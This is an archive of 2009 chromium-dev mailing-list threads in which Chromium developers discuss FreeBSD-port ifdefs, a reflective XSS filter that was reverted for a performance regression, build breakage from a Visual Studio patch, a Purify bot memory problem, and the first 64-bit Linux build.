[chromium-dev] Re: FreeBSD port and ifdefs
On Wed, Aug 19, 2009 at 10:56 PM, Brett Wilson bre...@chromium.org wrote: On Wed, Aug 19, 2009 at 9:49 PM, Brett Wilsonbre...@chromium.org wrote: On Wed, Aug 19, 2009 at 6:00 PM, Dean McNameede...@chromium.org wrote: I kinda feel like this is one of those things you can try hard to premeditate, but in the end you'll just have to deal with it being ugly for a while and hope it eventually converges to something better. The changes in the bulk of the Chrome code are pretty easy to tell in advance. Just search for OS_LINUX. It would be nice if the first pass didn't just tack on OS_FREEBSD to every OS_LINUX in chrome, especially since I think there's a good chance it won't be maintained longer-term. I definitely believe you that there will be a bunch of unknown build/third_party stuff. Sort of a non-answer, but I'd be happy to see this running on a BSD first, and then we can argue about the patch. Are you suggesting getting it running before checking anything in? I think BenL's was planning to do it piecemeal. Here's an idea I like: Do a pass of porting base and chrome/browser/renderer_host, which are some of the key infrastructure bits that have a bunch of platform-specific stuff in them. It doesn't have to be everything is working perfectly, but rather do a patch to modify the ifdefs as best as you can figure out. Then we can discuss in concrete terms how the ifdefs in the code look and whether they're OK or need rearchitecting. This wouldn't need to block the current build patch, but I think should be done before committing ifdefs to the code. Brett I like this idea too. -Darin --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Reflective XSS protection
Tonight, in r23805, I enabled a reflective cross-site scripting (XSS) filter for Chromium. The goal of this filter is to automatically protect web sites from certain kinds of XSS vulnerabilities. The filter might have some false positives (and block legitimate web site behavior). If you see a web site acting incorrectly and you suspect the XSS filter, you can look at the JavaScript console and see if it says something about blocking an unsafe script from executing. You can also try visiting the web site again with the --disable-xss-auditor command line flag. The filter has been on by default in the WebKit nightly builds for about a month, so hopefully we've flushed out most of the false positives already. The filter looks like it might cost some page cycler performance as currently implemented, so we might have to disable it again to sort out those issues. Please let me know if you have any questions. Adam --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Reflective XSS protection
I reverted the change because the page cycler regression appears to be real. I'm not entirely sure how to track down the issue. Is there a way I can run page cycler locally? The page_cycle_tests complains that I don't have the test data... Adam On Wed, Aug 19, 2009 at 11:42 PM, Adam Barthaba...@chromium.org wrote: Tonight, in r23805, I enabled a reflective cross-site scripting (XSS) filter for Chromium. The goal of this filter is to automatically protect web sites from certain kinds of XSS vulnerabilities. The filter might have some false positives (and block legitimate web site behavior). If you see a web site acting incorrectly and you suspect the XSS filter, you can look at the JavaScript console and see if it says something about blocking an unsafe script from executing. You can also try visiting the web site again with the --disable-xss-auditor command line flag. The filter has been on by default in the WebKit nightly builds for about a month, so hopefully we've flushed out most of the false positives already. The filter looks like it might cost some page cycler performance as currently implemented, so we might have to disable it again to sort out those issues. Please let me know if you have any questions. Adam --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Reflective XSS protection
Sadly, the page cycler data is not available publicly.-Darin On Thu, Aug 20, 2009 at 12:00 AM, Adam Barth aba...@chromium.org wrote: I reverted the change because the page cycler regression appears to be real. I'm not entirely sure how to track down the issue. Is there a way I can run page cycler locally? The page_cycle_tests complains that I don't have the test data... Adam On Wed, Aug 19, 2009 at 11:42 PM, Adam Barthaba...@chromium.org wrote: Tonight, in r23805, I enabled a reflective cross-site scripting (XSS) filter for Chromium. The goal of this filter is to automatically protect web sites from certain kinds of XSS vulnerabilities. The filter might have some false positives (and block legitimate web site behavior). If you see a web site acting incorrectly and you suspect the XSS filter, you can look at the JavaScript console and see if it says something about blocking an unsafe script from executing. You can also try visiting the web site again with the --disable-xss-auditor command line flag. The filter has been on by default in the WebKit nightly builds for about a month, so hopefully we've flushed out most of the false positives already. The filter looks like it might cost some page cycler performance as currently implemented, so we might have to disable it again to sort out those issues. Please let me know if you have any questions. Adam --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Lock the Render process in chromium
Hi, Is there anyway to 'lock' the Render process in chromium? Which means Renderer does not do these during the 'lock' period * repaint the screen * no dom modification * no render tree modification * no javascript context modification Thank you for any idea. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: FreeBSD port and ifdefs
On Thu, Aug 20, 2009 at 2:00 AM, Dean McNameede...@chromium.org wrote: I kinda feel like this is one of those things you can try hard to premeditate, but in the end you'll just have to deal with it being ugly for a while and hope it eventually converges to something better. Sort of a non-answer, but I'd be happy to see this running on a BSD first, and then we can argue about the patch. I just went through some work trying to build it on OpenBSD (promised a friend I'd try). There are a lot of little things we need to do before we even have this debated. Pretty much everything in third_party (icu, libevent), gmock, etc. Some of these will probably require changes upstream. Probably the right way to handle (most) of these in FreeBSD is to use the versions in their ports system - but I haven't got that far yet. On Wed, Aug 19, 2009 at 1:53 PM, Amanda Walker ama...@chromium.org wrote: On Wed, Aug 19, 2009 at 4:14 PM, Evan Martine...@chromium.org wrote: It seems the configurations we'll see most frequently in code are: 1) POSIX (basically, non-Windows -- we have this already) 2) POSIX minus Mac (since Mac has the most extensions, especially at the GUI layer) 3) POSIX minus Linux (aka everything BSD-derived, more or less) Dean proposes a define for #2, agl proposes a define for #3. I think it'd be nice to keep the defines down if possible. I strongly dislike a #define for #2. I think that having defines for particular combinations of platforms is the wrong way to denote the absence or presence of a particular API or feature. Rather, I would prefer to leave the platform flags as general as possible, and then have features for particular differences within a major platform (this also parallels how webkit's feature controls work, how we're denoting usage of GTK, etc.). So, for example, MacOS X might be OS_POSIX and USES_MACH_THREADS or something. OS_POSIX_BUT_NOT_MAC seems like the wrong direction. --Amanda --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: FreeBSD port and ifdefs
On Thu, Aug 20, 2009 at 6:21 AM, Ben Goodger (Google)b...@chromium.org wrote: I don't know much about the technical details at play here, but a couple of high level notes: - I am sympathetic to concerns around codebase cleanliness. Many people (like Brett) have spent very many months maintaining and improving the hygiene of Chrome code. Sometimes it feels like an uphill battle. Some people (like myself) tend to be more forgiving of temporary clutter when you have an established track record of making these changes and then swiftly sweeping up afterwards. - We have a growing number of ifdefs. It's getting hard to understand when and why each is set. As someone proposing to add more, it'd be much appreciated if you'd put together a doc on our website (and link it up) noting when the common ones are set. If you start such a doc, people can continue to augment/update it with others. I'd be happy to do that. When I do, there's something that's already puzzling me, and that's OS_POSIX. I don't have a copy of the POSIX standard, at least not a recent one, so its hard to know what is or isn't POSIX, and I imagine I am not alone in that. However, various comments lead me to believe that OS_POSIX doesn't really mean POSIX in people's minds - it really means UNIXish or not Windows or something. How would I document this define? Is there an agreed meaning? So sorry if it seems like you're getting the third degree here, I just think it's a good idea for the team at large to know what's going on so we can all remember to follow up from time to time. I'm not complaining. -Ben On Wed, Aug 19, 2009 at 11:43 AM, Ben Laurieb...@chromium.org wrote: I've started working on a FreeBSD port. The first patch is here: http://codereview.chromium.org/172032. When looking at the patch, bear in mind a couple of things... 1. Added gyp lines for files like *_ar.pak are compensating for the fact that i18n targets are not currently being handled correctly, and this can break the build, particularly when -j is not used. There are TODOs to make them work properly. They aren't really part of the port, but because I have no build farm for FreeBSD, the problems show up. 2. There are now some directories that are called linux or mac but are used for FreeBSD, too. I'm hesitant to rename these at this point, because it may turn out later that actually FreeBSD-specific versions are needed. Views welcome, of course. Anyway, there's been some debate about how to proceed in terms of ifdefs. The observation is that many places that are currently: #if defined(OS_LINUX) are going to become: #if defined(OS_LINUX) || defined(OS_FREEBSD) and this is ugly. There's a temptation to instead say these are both POSIX, but not MACOSX, for example as here: http://codereview.chromium.org/172032/diff/3003/3013 but this may not always be true (to be honest, I'm not even sure if its true for that case). Does the list have a view on how this should be handled? --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: FreeBSD port and ifdefs
On Wed, Aug 19, 2009 at 10:18 PM, Marc-Antoine Ruelmar...@google.com wrote: I don't mind as long it's documented on dev.chromium.org. Ben, ping me if you want to setup a freebsd slave on fyi. As long as you want to babysit it. :) Cool - I haven't got that far yet, but when it builds, I'll be in touch (may be some time!). M-A On Aug 19, 2009 4:51 PM, Brett Wilson bre...@chromium.org wrote: On Wed, Aug 19, 2009 at 1:23 PM, Darin Fisherda...@chromium.org wrote: On Wed, Aug 19, 2009 at ... Darin is right. There is actually a #4 on Evan's list: POSIX minus Mac minus Views. I did a search for every place we use OS_LINUX. They fall into a couple of cases: - Graphics stuff like X-windows fonts that are shared between TOOLKIT_GTK and TOOLKIT_VIEWS on Linux. - File path handling stuff. Here Linux/BSD are different from Mac, because there is no encoding, while Mac defines one. - Low level stuff like threads, where Mac has something fancy, but we want to use pthreads or whatever on Linux - A very few system info queries that are likely different between Mac, Linux, and *BSD. Maybe this also includes crash reporting? - Some that should be TOOLKIT_GTK instead of OS_LINUX It looks like the vast majority of them fall into the first two categories (graphics and file paths). It would be nice to optimize our ifdefs so these common ones don't get more complicated. Brett --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-de... --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: FYI: a new problem with the latest patch for 2008 SP1 (from today/yesterday)
Microsoft posted a KB article on this: http://blogs.msdn.com/windowssdk/archive/2009/08/07/installing-windows-sdk-for-server-2008-v6-1-after-vs2008-sp1-causes-conflicts-with-security-update-kb971092.aspx HTH On Wed, Aug 5, 2009 at 8:22 PM, Thiago Farina thiago.far...@gmail.comwrote: I'm in trouble with this problem. Now the deque have this problem too. I already removed the SP1, the hotfix, reinstalled everything, but nothing works. On Jul 29, 11:28 pm, Lei Zhang thes...@chromium.org wrote: I assume there's a similar patch for VS2005SP1. Does that have the same problem? On Wed, Jul 29, 2009 at 11:15 AM, nakroyoav.zilberb...@gmail.com wrote: if you get the latest patch of VS2008SP1 (released yesterday) you will not be able to compile chrome you will get errors relating to '_Swap_adl' i googled it a bit, and till MS fixes it i simply modified 2 files in the inc dir tuple xutility and changed '_Swap_adl' to 'swap' - note the lowercase also due to permissions you might not be able to modify the file, so i did this in an elevated cmd prompt ok, now you know, here is where i got most of the info from http://social.msdn.microsoft.com/Forums/en-US/vcgeneral/thread/4bc93a. .. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: FreeBSD port and ifdefs
On Thu, Aug 20, 2009 at 6:56 AM, Brett Wilsonbre...@chromium.org wrote: On Wed, Aug 19, 2009 at 9:49 PM, Brett Wilsonbre...@chromium.org wrote: On Wed, Aug 19, 2009 at 6:00 PM, Dean McNameede...@chromium.org wrote: I kinda feel like this is one of those things you can try hard to premeditate, but in the end you'll just have to deal with it being ugly for a while and hope it eventually converges to something better. The changes in the bulk of the Chrome code are pretty easy to tell in advance. Just search for OS_LINUX. It would be nice if the first pass didn't just tack on OS_FREEBSD to every OS_LINUX in chrome, especially since I think there's a good chance it won't be maintained longer-term. I definitely believe you that there will be a bunch of unknown build/third_party stuff. Sort of a non-answer, but I'd be happy to see this running on a BSD first, and then we can argue about the patch. Are you suggesting getting it running before checking anything in? I think BenL's was planning to do it piecemeal. Here's an idea I like: Do a pass of porting base and chrome/browser/renderer_host, which are some of the key infrastructure bits that have a bunch of platform-specific stuff in them. It doesn't have to be everything is working perfectly, but rather do a patch to modify the ifdefs as best as you can figure out. Then we can discuss in concrete terms how the ifdefs in the code look and whether they're OK or need rearchitecting. Sounds good to me ... currently the build breaks when it hits sound support, because I know nothing about sound on FreeBSD. Could someone with more gyp-fu tell me how I could temporarily bypass that part of the build (bearing in mind the FreeBSD port uses make)? Or just build the two parts you are referring to? This wouldn't need to block the current build patch, but I think should be done before committing ifdefs to the code. By build patch do you mean I should break out the *.gyp changes into a separate patch? Brett --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Issue with the Google Analytics page
Statement of problem: When looking to change the settings on the page you have to refresh the entire screen to get the controls to work Tested in other browser: I have tested this in both FF3 and 3.5 and you don't have to do this in those versions. OS: Ubuntu 9.04 or Eeebuntu 3 Chromium version: 4.0.203.0 (23670) - but this has been around for a while plugins enabled = true Flash version: Shockwave Flash 10.0 r22 - uses the flask plugin Is anyone else seeing this problem? If so I will report it as a bug. Cheers Nick --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: FreeBSD port and ifdefs
On Thu, Aug 20, 2009 at 6:06 AM, Ben Laurieb...@chromium.org wrote: I'd be happy to do that. When I do, there's something that's already puzzling me, and that's OS_POSIX. I don't have a copy of the POSIX standard, at least not a recent one, so its hard to know what is or isn't POSIX, and I imagine I am not alone in that. However, various comments lead me to believe that OS_POSIX doesn't really mean POSIX in people's minds - it really means UNIXish or not Windows or something. In practice, it's used to mean UNIXish. That is, it means things the Mac and Linux ports have in common that Windows does not. OS_UNIXISH might have been a better name... --Amanda --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Lock the Render process in chromium
kill -STOP pid of renderer ? On Thu, Aug 20, 2009 at 12:23 AM, n179911n179...@gmail.com wrote: Hi, Is there anyway to 'lock' the Render process in chromium? Which means Renderer does not do these during the 'lock' period * repaint the screen * no dom modification * no render tree modification * no javascript context modification Thank you for any idea. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Issue with the Google Analytics page
You're probably best off just reporting it as a bug; as long as you've at least attempted to consult the bug tracker (off the top of my head that doesn't look like any of the bugs we currently have filed), more plugin problem scenarios are always helpful. On Thu, Aug 20, 2009 at 3:29 AM, codfatherswcodfat...@gmail.com wrote: Statement of problem: When looking to change the settings on the page you have to refresh the entire screen to get the controls to work Tested in other browser: I have tested this in both FF3 and 3.5 and you don't have to do this in those versions. OS: Ubuntu 9.04 or Eeebuntu 3 Chromium version: 4.0.203.0 (23670) - but this has been around for a while plugins enabled = true Flash version: Shockwave Flash 10.0 r22 - uses the flask plugin Is anyone else seeing this problem? If so I will report it as a bug. Cheers Nick --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Issue with the Google Analytics page
Thanks evan, after more digging around I have found a bug that is exactly the same as I'm seeing on Linux, so I have commented there. Bug #1645 Nick On Aug 20, 2:33 pm, Evan Martin e...@chromium.org wrote: You're probably best off just reporting it as a bug; as long as you've at least attempted to consult the bug tracker (off the top of my head that doesn't look like any of the bugs we currently have filed), more plugin problem scenarios are always helpful. On Thu, Aug 20, 2009 at 3:29 AM, codfatherswcodfat...@gmail.com wrote: Statement of problem: When looking to change the settings on the page you have to refresh the entire screen to get the controls to work Tested in other browser: I have tested this in both FF3 and 3.5 and you don't have to do this in those versions. OS: Ubuntu 9.04 or Eeebuntu 3 Chromium version: 4.0.203.0 (23670) - but this has been around for a while plugins enabled = true Flash version: Shockwave Flash 10.0 r22 - uses the flask plugin Is anyone else seeing this problem? If so I will report it as a bug. Cheers Nick --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Issue with the Google Analytics page
Thanks Evan. I dug around a little deeper and someone had reported it back 2008, and the problem is exactly the same today on the Linux version today. Here is a link to the bug. http://bit.ly/ZlqQ1 Nick On Aug 20, 2:33 pm, Evan Martin e...@chromium.org wrote: You're probably best off just reporting it as a bug; as long as you've at least attempted to consult the bug tracker (off the top of my head that doesn't look like any of the bugs we currently have filed), more plugin problem scenarios are always helpful. On Thu, Aug 20, 2009 at 3:29 AM, codfatherswcodfat...@gmail.com wrote: Statement of problem: When looking to change the settings on the page you have to refresh the entire screen to get the controls to work Tested in other browser: I have tested this in both FF3 and 3.5 and you don't have to do this in those versions. OS: Ubuntu 9.04 or Eeebuntu 3 Chromium version: 4.0.203.0 (23670) - but this has been around for a while plugins enabled = true Flash version: Shockwave Flash 10.0 r22 - uses the flask plugin Is anyone else seeing this problem? If so I will report it as a bug. Cheers Nick --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: FYI: a new problem with the latest patch for 2008 SP1 (from today/yesterday)
I'd say don't bother and directly install the Microsoft SDK for Windows 7 at http://www.microsoft.com/downloads/details.aspx?FamilyID=c17ba869-9671-4330-a63e-1fd44e0e2505displaylang=en Updated http://sites.google.com/a/chromium.org/dev/developers/how-tos/build-instructions-windows accordingly. On Thu, Aug 20, 2009 at 6:23 AM, Julian Harris k...@google.com wrote: Microsoft posted a KB article on this: http://blogs.msdn.com/windowssdk/archive/2009/08/07/installing-windows-sdk-for-server-2008-v6-1-after-vs2008-sp1-causes-conflicts-with-security-update-kb971092.aspx HTH On Wed, Aug 5, 2009 at 8:22 PM, Thiago Farina thiago.far...@gmail.comwrote: I'm in trouble with this problem. Now the deque have this problem too. I already removed the SP1, the hotfix, reinstalled everything, but nothing works. On Jul 29, 11:28 pm, Lei Zhang thes...@chromium.org wrote: I assume there's a similar patch for VS2005SP1. Does that have the same problem? On Wed, Jul 29, 2009 at 11:15 AM, nakroyoav.zilberb...@gmail.com wrote: if you get the latest patch of VS2008SP1 (released yesterday) you will not be able to compile chrome you will get errors relating to '_Swap_adl' i googled it a bit, and till MS fixes it i simply modified 2 files in the inc dir tuple xutility and changed '_Swap_adl' to 'swap' - note the lowercase also due to permissions you might not be able to modify the file, so i did this in an elevated cmd prompt ok, now you know, here is where i got most of the info from http://social.msdn.microsoft.com/Forums/en-US/vcgeneral/thread/4bc93a. .. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: FYI: XP unit purify bot broken
The main issue I had with splitting unit_tests is the porosity between chrome/browser and chrome/renderer. There's way too much direct calls between both. http://code.google.com/p/chromium/issues/detail?id=4301 M-A On Wed, Aug 19, 2009 at 11:25 PM, Lei Zhang thes...@chromium.org wrote: +1 for splitting unit_tests. On Linux, it's possible to generate a 2.3GB unit_tests binary that won't run. X-( On Wed, Aug 19, 2009 at 4:12 PM, Erik Kayerik...@chromium.org wrote: The XP unit Purify bot has been failing for the last week or so. Unfortunately, this has turned out to be more than just a simple case where we can filter out a particular broken test. To fix it, we either need a fix from IBM/Rational (unlikely, due to the nature of the bug - see below), or we need to do a bit of surgery on the test itself. Huan has agreed to help with the latter, but this will likely take some time to work out. In the meantime, we're more vulnerable to new memory bugs. Please do your best to be extra careful until we can get the bot enabled again. When we do enable the bot, we should expect to have a number of new bugs that need to be looked at in short order. We'll give more updates as we have them. Erik Details for those who care: The issue appears to be that unit_tests.exe under Purify is running out of address space. I spent some time over the past few days disabling tests hoping that the failure was specific to some particular test. Unfortunately it seems that the issue is just that unit_tests.exe has gotten too large. Purify keeps a bunch of accounting data for warnings and errors in memory. It even keeps records for errors that are filtered out. Microsoft's STL implementation generates many warnings (primarily UMRs), and we use STL heavily (from Rational's and our analysis, these warnings appear to be benign). Each of these warnings slows down Purify execution and consume (a fairly large amount of) memory. We now appear to have enough tests that generate enough warnings that we're running out of memory from them. So the approach Huan's looking into now is to run unit_tests.exe in chunks similar to how we do layout and ui tests (although it would run all chunks in one build rather than split across multiple runs). The other approach would involve splitting unit_tests.exe into smaller pieces (browser, renderer, common, etc.). This could have other benefits potentially as the executable size would be smaller, which would have faster iteration cycles (faster link times, faster instrumentation times, etc.). Let me know if you have any interest in doing work with this approach. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Access keys for Chrome menus, what do you prefer?
For what it's worth, Alt-F is already used by extensions like FlashBlock for Chrome: http://userscripts.org/scripts/show/46673 On Wed, Aug 19, 2009 at 4:33 PM, Peter Kastingpkast...@google.com wrote: On Wed, Aug 19, 2009 at 4:31 PM, Mohamed Mansour m...@chromium.org wrote: Are you guys referring to alt alone or alt-f, alt-e to highlight the menu item?. alt-f if triggered appropriately brings up full screen which is another problem ... Alt alone. Fullscreen is F11 on Windows, not alt-f. (We are presumably talking about Windows here, unless the other OSes happen to have copied its alt behavior.) PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: FYI: XP unit purify bot broken
We do boot with /3GB on the bots already. I talked with M-A about /LARGEADDRESSAWARE and apparently in the past we've had issues with it and the sandbox and v8, so we're not using it anywhere. It's possible that those issues have been addressed since the last time M-A looked into this, but verifying that is a fair amount of work. Erik On Wed, Aug 19, 2009 at 7:26 PM, Nick Cartern...@chromium.org wrote: Would a quick fix of /3GB in the boot.ini and /LARGEADDRESSAWARE on the linker cmdline be viable, or are we already doing that? - nick On Wed, Aug 19, 2009 at 4:12 PM, Erik Kay erik...@chromium.org wrote: The XP unit Purify bot has been failing for the last week or so. Unfortunately, this has turned out to be more than just a simple case where we can filter out a particular broken test. To fix it, we either need a fix from IBM/Rational (unlikely, due to the nature of the bug - see below), or we need to do a bit of surgery on the test itself. Huan has agreed to help with the latter, but this will likely take some time to work out. In the meantime, we're more vulnerable to new memory bugs. Please do your best to be extra careful until we can get the bot enabled again. When we do enable the bot, we should expect to have a number of new bugs that need to be looked at in short order. We'll give more updates as we have them. Erik Details for those who care: The issue appears to be that unit_tests.exe under Purify is running out of address space. I spent some time over the past few days disabling tests hoping that the failure was specific to some particular test. Unfortunately it seems that the issue is just that unit_tests.exe has gotten too large. Purify keeps a bunch of accounting data for warnings and errors in memory. It even keeps records for errors that are filtered out. Microsoft's STL implementation generates many warnings (primarily UMRs), and we use STL heavily (from Rational's and our analysis, these warnings appear to be benign). Each of these warnings slows down Purify execution and consume (a fairly large amount of) memory. We now appear to have enough tests that generate enough warnings that we're running out of memory from them. So the approach Huan's looking into now is to run unit_tests.exe in chunks similar to how we do layout and ui tests (although it would run all chunks in one build rather than split across multiple runs). The other approach would involve splitting unit_tests.exe into smaller pieces (browser, renderer, common, etc.). This could have other benefits potentially as the executable size would be smaller, which would have faster iteration cycles (faster link times, faster instrumentation times, etc.). Let me know if you have any interest in doing work with this approach. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: FYI: XP unit purify bot broken
Sometimes all you have to do is send an email saying that you give up in order to find a solution. ;-) I did a little more poking around last night and found one test (SpellCheckTest.SpellCheckText, which only recently landed) that was contributing 300-400MB of private bytes to the address space of the process (likely a Purify issue, not anything wrong with the test itself). Disabling this test allows unit_tests.exe to complete again and likely gives us a few more months of breathing room. http://crbug.com/19833 http://crbug.com/19834 Erik On Wed, Aug 19, 2009 at 4:12 PM, Erik Kayerik...@chromium.org wrote: The XP unit Purify bot has been failing for the last week or so. Unfortunately, this has turned out to be more than just a simple case where we can filter out a particular broken test. To fix it, we either need a fix from IBM/Rational (unlikely, due to the nature of the bug - see below), or we need to do a bit of surgery on the test itself. Huan has agreed to help with the latter, but this will likely take some time to work out. In the meantime, we're more vulnerable to new memory bugs. Please do your best to be extra careful until we can get the bot enabled again. When we do enable the bot, we should expect to have a number of new bugs that need to be looked at in short order. We'll give more updates as we have them. Erik Details for those who care: The issue appears to be that unit_tests.exe under Purify is running out of address space. I spent some time over the past few days disabling tests hoping that the failure was specific to some particular test. Unfortunately it seems that the issue is just that unit_tests.exe has gotten too large. Purify keeps a bunch of accounting data for warnings and errors in memory. It even keeps records for errors that are filtered out. Microsoft's STL implementation generates many warnings (primarily UMRs), and we use STL heavily (from Rational's and our analysis, these warnings appear to be benign). Each of these warnings slows down Purify execution and consume (a fairly large amount of) memory. We now appear to have enough tests that generate enough warnings that we're running out of memory from them. So the approach Huan's looking into now is to run unit_tests.exe in chunks similar to how we do layout and ui tests (although it would run all chunks in one build rather than split across multiple runs). The other approach would involve splitting unit_tests.exe into smaller pieces (browser, renderer, common, etc.). This could have other benefits potentially as the executable size would be smaller, which would have faster iteration cycles (faster link times, faster instrumentation times, etc.). Let me know if you have any interest in doing work with this approach. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Chromium Linux 64-bit
The v8 team did some amazing work this quarter building a working 64-bit port. After a handful of changes on the Chromium side, I've had Chromium Linux building on 64-bit for the last few weeks. I believe mmoss or tony is going to get a buildbot running, and working on packaging. You can follow the build instructions at: http://code.google.com/p/chromium/wiki/LinuxChromium64 It also looks like FTA has updated his daily builds so that the 64-bit packages are true 64-bit: https://launchpad.net/~chromium-daily/+archive/ppa Enjoy them big pointers, -- dean --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Chromium Linux 64-bit
Awesome! I'll work on the buildbot, then start marking all the ia32-libs bugs invalid :) On Thu, Aug 20, 2009 at 8:44 AM, Dean McNameede...@chromium.org wrote: The v8 team did some amazing work this quarter building a working 64-bit port. After a handful of changes on the Chromium side, I've had Chromium Linux building on 64-bit for the last few weeks. I believe mmoss or tony is going to get a buildbot running, and working on packaging. You can follow the build instructions at: http://code.google.com/p/chromium/wiki/LinuxChromium64 It also looks like FTA has updated his daily builds so that the 64-bit packages are true 64-bit: https://launchpad.net/~chromium-daily/+archive/ppa Enjoy them big pointers, -- dean --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Chromium Linux 64-bit
w00t, nice job. On Thu, Aug 20, 2009 at 8:44 AM, Dean McNameede...@chromium.org wrote: The v8 team did some amazing work this quarter building a working 64-bit port. After a handful of changes on the Chromium side, I've had Chromium Linux building on 64-bit for the last few weeks. I believe mmoss or tony is going to get a buildbot running, and working on packaging. You can follow the build instructions at: http://code.google.com/p/chromium/wiki/LinuxChromium64 It also looks like FTA has updated his daily builds so that the 64-bit packages are true 64-bit: https://launchpad.net/~chromium-daily/+archive/ppa Enjoy them big pointers, -- dean --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Chromium Linux 64-bit
Awesome! :) FYI, video will not work out of the box since the ffmpeg binaries we have are 32-bit. We need a bit of work to shift them over. If you see bugs there, it's expected. -Albert On Thu, Aug 20, 2009 at 10:18 AM, Michael Moss mm...@chromium.org wrote: Awesome! I'll work on the buildbot, then start marking all the ia32-libs bugs invalid :) On Thu, Aug 20, 2009 at 8:44 AM, Dean McNameede...@chromium.org wrote: The v8 team did some amazing work this quarter building a working 64-bit port. After a handful of changes on the Chromium side, I've had Chromium Linux building on 64-bit for the last few weeks. I believe mmoss or tony is going to get a buildbot running, and working on packaging. You can follow the build instructions at: http://code.google.com/p/chromium/wiki/LinuxChromium64 It also looks like FTA has updated his daily builds so that the 64-bit packages are true 64-bit: https://launchpad.net/~chromium-daily/+archive/ppa Enjoy them big pointers, -- dean --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Chromium Linux 64-bit
